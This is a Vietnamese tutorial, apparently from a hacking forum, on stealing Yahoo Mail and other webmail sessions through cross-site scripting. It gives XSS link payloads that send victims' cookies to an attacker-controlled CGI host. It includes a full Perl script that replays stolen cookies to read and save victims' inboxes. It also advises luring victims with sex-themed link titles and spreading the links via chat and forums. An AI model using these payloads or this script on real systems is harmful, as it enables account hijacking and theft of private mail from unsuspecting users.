Hack Yahoo Mail thông qua lỗi XSS
trang này đã được đọc lầnI - Tổng quát
Đối với Hotmail và Yahoo mail , việc chèn vào trong
nội dung email gửi đến 1 đọan mã Javascript hiểm độc hay 1 đọan Html để thực
thi 1 tác vụ nào đó thì đã hòan tòan có thể làm được ! Có nhiều vết nứt trong
bộ lọc những Mã Nguy Hiểm của các webmails này, và lỗi Cross Site Scripting có
thể ứng dụng 1 cáh trực quan vào vấn đề này....Khi 1 đọan mã Html đã được chạy
( qua con đường click lên hình ảnh , frame hay chỉ đơn giản là di chuyển chuột
băng ngang ...) , nó có thể xóa email của bạn, gọi 1 lọai bỏ email hay ăn cắp
thành phần của webmail mà bạn đang duyệt để rồi tạo cơ hội cho Kẻ Thứ Ba đăng
nhập vào mailbox đó mà ko cần biết về username và password ( Vì hắn đã có
cookie - Nếu bạn ko biết cookie là gì thì hãy tìm hiểu hơn về chúng
www.shacker.computed.net ).
Thêm 1 vấn đề nữa là , Yahoo Mail có 1 lỗi khá là ngộ nếu nói theo cách lạc
quan , là vài thành phần trong mailbox của bạn có thể bị thay đổi không lường
trước được mà không cần dùng đến bất kỳ lệnh JavaScript nào. Vấn đề này xem ra
cũng mắc phải đối với 1 số trang web thư điện tử khác.
II - Tự bảo vệ chính mình
Từ khi kiểu lỗi bảo mật này ra đời và cứ 6 tháng 1 năm lại xuất hiện 1 lỗ hổng
mới thì người dùng chúng ta có thể tự nói rằng vấn đề an ninh trong các
webmails đối với phần Client không an tòan chút nào, cho dù
vài web cá biệt đã sữa chúng kịp thời đi nữa...Vì vậy , để an tòan cho chính
mình , bạn nên Vô hiệu hóa Javascript , bỏ phần cho phép tự động tải hình ảnh
- dã man cho nhân lọai IT hơn nữa là dẹp , không hình ảnh gì hết , hay trong
các webmail thì bạn nên để Tùy chọn xem mail bằng văn bản - ko theo định dạng
Html vì khi đó các đọan mã đã được và có thể chạy ngay khi bạn sơ ý hay vô
tình. Đừng tin tưởng vào bất kỳ link nào trong email nhận được cho dù đã biết
site đó có thể tin tưởng...
III - Phân tích lỗi :
a/ Lỗ hổng trong bộ lọc của Yahoo Mail dành cho
thẻ HREF :
Mấy ai biết được và cũng không ngờ được bộ lọc mã nguy hiểm của yahoo lại có
lỗ hổng trong phần quản lý các giá trị phân phối trong thẻ HREF của Html.
Câu lệnh 'target="_blank" được dán sau thẻ HREF của thể được hòa lẫn thành 1
tác vụ bằng cách thêm vào ký tự ">". Trò mẹo khá nguy hiểm được anh bạn Mark
Slemko đăng trên vuln-dev từ nhữngthàng đầu năm 2000. Tóm lại bạn có hiểu được
những phần trên ko ? Nghĩa là giống như link đó mở ra 1 trang mới đồng thời
khởi chạy đọan mã JavaScript nằm ẩn trong nó. Vì những giá trị hiểm độc của
Javascript trong thẻ HREF thì chưa được lọc qua như Silvery Hat Hacker đã nói
lúc đầu. Tui cũng không hiểu dzì sao Yahoo lại bỏ qua vụ này...Nói trên lý
thuyết thì có thể bạn ko hiểu rõ hay còn mập mờ , vậy ta xét qua đọan code sau
:
<a href="javascript:...">link</a>
sẽ trở thành
<a href="javascript:..." target="_blank">link</a>
=> Đọan mã này vô hại bạn àh...
NHƯNG
<a href="javascript:..." foo="bar>link</a>
trở thành
<a href="javascript:..." foo="bar target="_blank">link</a>
thì ko còn bình thường nữa đâu. Hãy xem xét kỹ bạn sẽ nhận ra.
b/ 2 lệnh Get và Post :
Trong chúng ta thường lướt thông qua hộp mail bằng cách click trên Forms -
Lệnh Post. Điều này hòan tòan bình thường. Nhưng nếu tham số Get được thay thế
và đó thì Yahoo không thể biết được sự khác biệt và chấp nhận điều này. Vấn đề
này không fải là 1 mối nguy hại khi nó đứng 1 mình nhưng khi kết hợp với code
khác thì chính nó sẽ làm cho các Đọan Mã Có Khả Năng Gây Hại họat động dễ dàng
hơn. Bạn xem 2 phân tích bên dưới sẽ hiểu được tại sao
c) Cross Site Scripting :
Cross Site Scripting được biết đến 6 tháng trước đây
bởi mparcenshushmail.com , đăng trên Bugtraq. Nó cho phép 1 lệnh JavaScript có
thể ăn cắp cookie của người dùng và gửi qua Internet đến nơi nhận , rồi sau đó
có hacker có thể lấy quyền đăng nhập vào mailbox đó cho dù biết pasword hay là
ko.
Tuim đã tìm thấy được nhiều trang bị lỗi này trong gia đình tên miền
xxx.yahoo.com.
Thí dụ , trong tên miền mail.yahoo.com , Trang gửi mail và trang tạo chữ ký
không mã hóa những ký tự đặc biệt của mã HTML trong phần nội dung. Vì vậy ,
hacker có thể gửi đi thông tin mà trong đó có cái gì đó giống cái này :
"param=</textarea><script>đọan mã nguy hiểm</script>".
Đọan mã nguy hiểm có thể là ăn cắp cookie hay thay đổi mailbox nếu người nhận
đến cũng dùng yahoomail...
Tuy nhưng , những lỗi này cũng còn fải chờ user click lên để thi hành. Nhưng
nếu link đó gửi đến trang Yahoo.com thì ít ai để ý đến đọan script nằm trong
đó.
d) Tự động thay đổi mailbox :
Không fải là khó khăn để mà thực hiện thay đổi
mailbox thông qua việc gửi dữ liệu đến 1 đường dẫn biết trước. Không cần bất
kỳ đọan mã riêng biệt nào , nhờ 2 tác vụ Post và Get , nên Xóa tất cả message
, thùng rác hay reply lại địa chỉ nào đó thì hòan tòan có thể xảy ra mà không
nhờ đến JavaScript hay sự ảnh hưởng của chủ nhân.
IV - Kết :
Tóm lại , những lỗ hổng trên có thể được khai thác theo sơ đồ sau :
- Người dùng đọc email bị đính kèm đọan mã <img
src="http://us.f405.mail.yahoo.com/ym/Preferences?foo=bar_with_css_javascript">
-Vì đọan Javascript được ưu tiên đặt trong B - Tác vụ Get và Post với D - Gửi
dữ liệu đến 1 đường dẫn biết trước , ở đây là
http://us.f405.mail.yahoo.com/ym/Preferences? nên
người dùng không gặp cảnh báo nào. Nhưng đây có thể là bước khó nhất hay không
bao giờ xảy ra , người dùng fải mởi trang Preferences thì JavaScript mới bắt
đầu chạy.
-JavaScript chạy , cho coi 1 trang nhập password lại ( giả ).
-Mật khẩu bị ăn cắp và gửi đí , người dùng ko hay biết gì và được chuyển tiếp
tới trang Preferences...
Vấn đề cần giải quyết ở đây là tìm ra lỗi bảo mật XSS của 1 trong số nhiều
dịch vụ kể trên để tự bản thân server của dịch vụ đó hiến dâng cookie của
người dùng đang thao tác với nó đến cho nhân vật thứ 3 , là những hacker.
VI - Tiến trình :
Tài liệu này có nói đến cả hack Msn và Excite
nhưng vì đa số người dùng sử dụng Yahoomail nên tui rút ngắn bài viết và chỉ
chú trọng đến Yahoo mail.
Dịch vụ thư điện tử của Yahoo dựa trên mail + tên miền chính có dạng như sau
xxx.mail.com , vì vậy 1 lỗi XSS trên trên bất kỳ tên miền nào có dạng
xxx.yahoo.com đều gửi cookie của mailserver đến tay tin tặc.
1 lỗi ví dụ về XSS đó mã login trên trang login.europe.yahoo.com. Đọan mã XSS
này đã bị lọc ra những ký tự cấm < và %3C nên nó đã trở nên vô dụng đối với
mấy tay Chemical Hacker ( tham khảo bài Hiểu rõ kẻ địch - của ai đó tui wên
tên rồi ) nhưng nếu có kiên nhẫn tìm hiểu thì bạn sẽ nhận ra rằng trong Yahoo
cũng sử dụng CÙNG 1 đọan mã như vậy để phân tích từng vùng thể hiện 1 bức
email có hình ảnh trong cửa sổ của nó. Và hơn nữa , Yahoo cũng fải lấy tên của
bức ảnh ( vd như mubac.gif ) và đường dẫn tới nó thì mới hiện được hình ảnh.
Cho nên ta rút ra được đều này :
-Yahoo cấm các đọan mã chứa < và %3C được thể hiện 1 cách lộ liễu cho bộ lọc
thấy ( 1 )
-Yahoo cũng fải sử dụng đến < và %3C để có thể phân tích và thể hiện 1 hình
ảnh được lồng vào email - như cách thể hiện bản tin của download.com ,
pcworld.com , thư của yahoo.com....đến người dùng => Yahoo ko lọc ký tự < và
%3C trong trường hợp này. ( 2 )
Từ (1) và (2) => Yahoo có lỗ hổng bảo mật nằm ở phần Image. Tương tự như vậy ,
bạn có thể suy nghĩ thêm về vấn đề canh lề và phân tích sự hiện diện của FRAME
trong email. Nghĩ thử xem Yahoo cũng sẽ dùng đến ký tự gì....
Cuối cùng , đọan mã XSS có thể là :
http://login.europe.yahoo.com/config/login?.intl=frx" onerror="plof:window.open('http://host/cgi-bn/rompigema.pl?'+document.referrer+' '+document.cookie)">&.src=ym&.done=
Tất nhiên theo thời gian lỗi này có thể được fix
nhưng bạn fải nhanh nhạy trong việc hack mà tìm ra được phương thức mới dựa
trên 1 dạng lỗi đang phổ biến hiện nay Cross Site Scripting. Nhưng đều ấy ,
sửa 1 lỗi XSS cũng ko fải chuyện dễ mà lại tốn rất nhiều thời gian. Hơn nữa ,
bạn ah , có bao giờ bạn nghĩ lỗi XSS trên webmail này , có bao giờ , có bao
giờ liên quan đến webmail khác ko ?
VII - Khai thác lỗi - Exploit :
Lỗi XSS này là 1 dạng khác với đọan mã mà bạn được đọc ở bài viết trước - nó
không sử dụng đến mục Preferences mới kích họat mà dựa ngay vào cú bấm chuột
ngọan mục của nạn nhân :
<a
href="http://login.europe.yahoo.com/config/login?.intl=frx%22%20onerror=%22plof:window.open('http://hos/cgi-bin/rompigema.pl?'%2Bdocument.cookie)%22%3E&.src=ym&.done=">Tựa
đề link</a>
Nhìn sơ qua link trên , bạn có nghe thấy nó nói gì ko ?
Thứ nhất là onerror - lệnh trả về khi mở 1 cái link tầm bầy - dễ hiểu hơn là
cái link chết thì nó sẽ chuyển đến
http://hos/cgi-bin/rompigema.pl
Thứ nhì -
http://hos/cgi-bin/rompigema.pl , cái này ko đơn
giản fải ko bạn. Nói đến nó sau
Thứ ba - Tựa đề link , không mấy quan trọng , nhưng đặt sao cho hay hay để
victim click vào. Đáng tiếc mà nói 1 điều là những gì hay hay thường bị dụ
click vào lại có liên quan đến sex...
Bây giờ ta trở về phần thứ nhì. Bạn thấy tên file giống cái dạng nào ko ? Đúng
vậy - viết từ Perl. Và người dùng thì hòan tòan tin tưởng vào sự bảo mật của
webmail mình nên ko có chi là lo ngọai khi nhìn qua link trước khi click. Đọan
mã Perl ở trong tập tin rompigema.pl có nhiệm vụ ăn cắp mật khẩu của nạn nhân
gửi đến 1 trang web nào đó...Nếu đọc mã nguồn kỹ thì bạn sẽ nhận ra và nên
thay đổi nó đến ngay điểm dừng cuối mà bạn muốn. Sau khi xong bạn upload nó
lên 1 website hỗ trợ CGI và sửa phần
http://hos/cgi-bin/rompigema.pl trong link XSS thành
đúng với link của bạn.
Đây là code của Rompigema.pl, bạn có thể thay đổi nó tùy vào khả năng
của mình ( như đổi địa chỉ nhận được password chẳng hạn ) :
----------------------
Rompigema.pl:
----------------------
#!/usr/bin/perl
#
# Multiple XSS/Cookie Problems
# Proof Of Concept
# N|ghtHawk
# nighthawk_at_hackers4hackers.org
use IO::Socket;
# OPTIONS
# 1. See Frontpage
# 2. See Inbox
# 3. Read An E-Mail
# 4. Only save Cookie
$option = "3";
# PATH
$path = "/tmp/mirrors/";
$cookie = "$ENV{QUERY_STRING}\;";
$cookie =~ s/%20/ /g;
if ($cookie =~ /http:\/\/(.*mail\.(.*)\..*com)(\/[^ ]* )(.*)/) {
$host = $1;
$type = $2;
$req = $3;
$cookie = $4;
if ($req =~ /ArdSI=(.*)&ArdSI=/) {
$ardsi = $1;
}
}
if (!$cookie || !$host) { &no_cookie; }
%msn = (
1 => "/cgi-bin/hmhome",
2 => "/cgi-bin/HoTMaiL?curmbox=F000000001",
filt => "<a *href=\"\/(cgi-bin\/getmsg\?.*)\">",
name => "class=[^ ]*\">(.*@hotmail.com)<"
);
%yahoo = (
1 => "/ym/Welcome?order=down&sort=date&pos=0",
2 => "/ym/us/ShowFolder?box=Inbox&order=down&sort=date&pos=0",
filt => "\/(ym\/ShowLetter?.*)\">",
name => "<b>.* (.*\@yahoo.com)<\/b>"
);
%excite = (
1 => "\/splash.php?ArdSI=$ardsi&ArdSI=$ardsi",
2 => "\/folder_msglist.php?t=0&m=0&ArdSI=$ardsi&in=1",
filt => "(msg_read.php?[^>]*)'",
name => "<b>Hi (.*)!<\/b>"
);
$req = "$$type{2}";
if ($option == "1") { $req = "$$type{1}"; }
$data = request($host, $req);
if ($option == "3") {
@datar = split(/\n/,$data);
foreach $line (@datar) {
if ($line =~ /$$type{filt}/) {
$req = "/$1";
}
}
$data = request($host, $req);
}
&out($data);
sub out {
my ($data) = @_;
@datar = split(/\n/,$data);
foreach $line (@datar) {
if ($line =~ /$$type{name}/) {
$name = $1;
}
}
if ($option == 4) {
$data = "$name\n$cookie\n";
$name = "cookies";
}
open(FILE,">>$path$name.html");
print FILE "$data\n";
close(FILE);
print "Content-type: text/html\n";
print "Location:
http://www.dwheeler.com/secure-programs/".
"Secure-Programs-HOWTO.html\n\n";
}
sub request {
my ($host, $req) = @_;
$sock = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$host",
PeerPort => "80",
Timeout => 30) || die "Could not create socket: $!\n";
print $sock "GET $req HTTP/1.0\n".
"Host: $host\n".
"Accept: image/gif, image/x-xbitmap, */*\n".
"Accept-Language: nl\n".
"User-Agent: Pr00fOfConcept/1.0 \n".
"Connection: Keep-Alive\n".
"Cookie: $cookie\n\n";
sleep(4);
recv($sock,$data,200000,0);
close($sock);
return $data;
}
sub no_cookie {
print "content-type: text/html\n\n";
print "<h1>No Cookie or Referrer found</h1>\n";
exit;
}
Cuối cùng , đầy là 1 số cơ hội cho bạn dùng đến link trên :
-Khi chat bằng Yahoo Messenger , Msn Messenger
-Đặt vào trang web mà bị lỗi XSS
-Những forum , guestbook có bị lọc không tốt